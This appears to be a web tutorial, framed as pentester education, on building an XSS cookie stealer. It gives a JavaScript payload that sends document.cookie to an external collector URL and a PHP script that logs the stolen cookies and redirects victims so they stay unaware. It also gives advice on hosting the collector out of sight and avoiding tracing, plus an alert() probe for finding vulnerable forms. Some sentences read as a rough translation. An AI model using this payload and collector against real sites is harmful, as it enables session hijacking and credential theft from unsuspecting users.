How to get XSS cookie containing password using JavaScript

JavaScript is one of the most popular languages ​​used on the web. It can automate and animate web page elements, manage website content, and perform many other useful functions inside web pages. JavaScript also has many functions that can be used for malicious purposes, including stealing users’ XSS cookies containing passwords and other information.

Cookies are information that a website requests or maintains regarding specific users who visit the site. These cookies contain information about how and when they visit, as well as authentication information for the website such as username and password. Since these cookies must be used whenever a visitor visits a certain website, an attacker can steal this information and use it to impersonate or catalog information about specific users. .

You can use JavaScript to save or modify user cookies for a given domain. While this is generally applied to create and use cookies to develop interactive web pages, if an attacker can view such cookies as well, it becomes a very formidable hacking technique. JavaScript-based attacks are especially effective when combined with techniques like injection, as it allows malicious code to be executed on trusted websites.

While I’m not advocating stealing anyone’s password, this article is a must-know for any pentester or IT security professional. If you don’t know how black hat hackers work, you will never be able to catch them.

Step 1: Create an HTML page for testing

To steal cookies, the cookie must first be available on the web domain the user is viewing. This happens whenever the user views the website. While it is entirely possible to inject JavaScript into web pages using a man-in-the-middle attack or by exploiting a vulnerable site, both of these will require a lot of extra effort to get the job done. perform.

Our cookie-stealing test environment will be in a fairly standard HTML index page. We should be able to embed all JavaScript elements. First, create a new folder to hold the HTML file. On Linux or macOS systems, we can use the mkdir command, as shown below.

mkdir cookiestealer

Next, access this directory with the cd command:

cd cookiestealer

Once inside this directory, we can create our index file with the touch . command

touch index.html

Next, we will also edit this index. First, open the file with nano.

nano index.html

Add the necessary opening HTML tags. In this case, we only need the “html” and “body” tags because there is no need for the “head” element to test the JavaScript. The file should now look like the one below.

We can save this file by pressing Ctrl + O in nano. At this point, if we open it in a web browser, our page will be blank. We could add a title element or some basic HTML content, but for this test this is enough.

Step 2: Create Cookies

We can create a basic parameter to be inserted in the cookie using only a single string. This cookie will only exist in this page, and similarly, the technique used to render the cookie will later apply to any cookies stored in the page where the script was run or entered.

<script type="text/javascript">document.cookie = "username=Null Byte";</script>

This script should be inserted in the “body” section of the HTML file, like below.

If the website with this script is open, a cookie will be set, but nothing will be displayed in the browser. We can dump cookies directly into the page itself using the “document.write” function. This won’t do much for exporting cookies to the user, but it can help us understand the format in which the cookie technique works. We can add the following line to our script to test.

document.write(document.cookie);

Our script should now look like the one below.

<script type="text/javascript">
document.cookie = "username=Null Byte";
document.write(document.cookie);
</script>

When opened in the browser, it should look like the image below.

Now we have successfully set “username=Null Byte” as cookie for this page. Now we can delete “document.write (document.cookie);” functionality of the script, as we will instead forward the cookies retrieved from the targeted user’s page to a standalone page where we can write and store them.

Step 3: Get cookies with JavaScript

The JavaScript directive we will use to pass cookies to the server where we can write them and again using document.cookie, however, this string will instead be passed inline with a URL as specified defined in document.location.

document.location='http://127.0.0.1/cookiestealer.php?c="+document.cookie;

In this example, the PHP file is located on the local machine, or local server, at 127.0.0.1. In a practical example of this technique, it should be towards a file hosted on a web server that can be output to outside the local network or local machine.

If someone is targeting a social media site, the script is injected into that website and the stolen cookies are sent to an IP or URL of a server controlled by the hacker.

For testing purposes, we can store the file locally using PHP’s test server module.

We can add this JavaScript directive in script tags, like below, on the same HTML page where we created the sample cookie.

<script type="text/javascript">
document.location='http://127.0.0.1/cookiestealer.php?c="+document.cookie;
</script>

The HTML page code should now look like the image below.

This JavaScript directive is enough to attach a cookie to a request sent to a PHP URL, and that’s all the JavaScript code needed for this functionality. The rest of the cookie processing will use PHP.

Step 4: Handling Cookies with PHP

We can control what we do with cookies and where we direct the user who has stolen the cookie from within the PHP file, defined in the JavaScript directive. In the above example, the name of this PHP file is cookiestealer.php and it is located on the local system at 127.0.0.1.

This much should be enough to implement this test, but in real life the PHP file would be better served with a less obvious name and located at the external IP or URL.

First, create a new PHP file in the same directory as the index.html file. You can do so by typing the following command.

nano cookiestealer.php

After adding the PHP opening and closing brackets, the first element we want to define is the redirect location, as in this example.

<?php
header ('Location:https://google.com');
?>

We define this as “Location” followed by “header”, in this case “https://google.com.” It can be set to anything you want, as long as it’s an address that can be handled by a web browser. To limit the risk of users becoming aware of an attack, it’s best to redirect them to a relevant page so that they won’t be alert or get stuck in an infinite loop of back and forth script.

With the user redirect, we can add additional code to handle the cookie. First, we will specify the cookie because the URL carries the variable.

$cookies = $_GET["c"];

Next, we will define the file in which the cookie will be saved to the server we control. In the example below, the file is named “log.txt.”

$file = fopen('log.txt', 'a');

Finally, we will combine the variables defined in the two strings above to write the contents of the variable, the cookie, to the log file.

fwrite($file, $cookies . "\n\n");

Our code should now be similar to the image below.

We are ready to prepare the test environment for PHP code.

Step 5: Check for Cookie Stealers

The PHP version is available on most Linux distributions and Unix operating systems. This server module is small, limited and not suitable for live deployment, but very light and efficient for testing PHP code.

From within the same directory as the index.html and cookiestealer.php files, we can launch a PHP test server from the command line by typing the following.

php -S 127.0.0.1:80

This test server now allows us to test by opening “127.0.0.1” in a web browser on the same machine.

After opening this page, our browser will almost immediately go to the website to which we have defined the redirect, in this case, Google.

If we look at our PHP server logs, we will notice that an argument has been passed to the PHP file and the PHP code has been executed.

Finally, we can retrieve the cookie by examining the “log.txt” file in the site directory. We can watch using the cat command.

cat log.txt

If the log contains cookie content, in this case “username = Null Byte”, then we have successfully stolen the cookie using JavaScript.

Step 6: Deploy the attack

This attack is extremely valuable for damaging and obtaining user credentials in any case where you can inject code into a website where the user is using cookies. Cookies often contain important user information in plain text and often contain private keys that can be used to impersonate or log in as the user.

This attack can be deployed anywhere an HTML script tag can be inserted. A common test method to check XSS vulnerability on web forms is to use a simple “alert” command like the one below.

<script>alert("Alert");</script>

This script will open an alert box like below. If it opens, the site will be vulnerable to XSS attacks.

In a direct attack, a hacker would be careful with how the PHP script is stored. If done improperly, the origin of the PHP file can be easily traced back to hackers. If an attack like this is detected, then to identify the attacker you need to try to find information about where the stolen cookies are being sent and stored.

This method shows how powerful JavaScript can be. While it is useful to make a website more convenient, if a website is vulnerable to malicious JavaScript injection it can pose a great risk to the website and the users themselves. The burden of responsibility for preventing XSS attacks rests with web developers. If users don’t trust scripts being run on a website, they can block them using a web browser add-on like NoScript.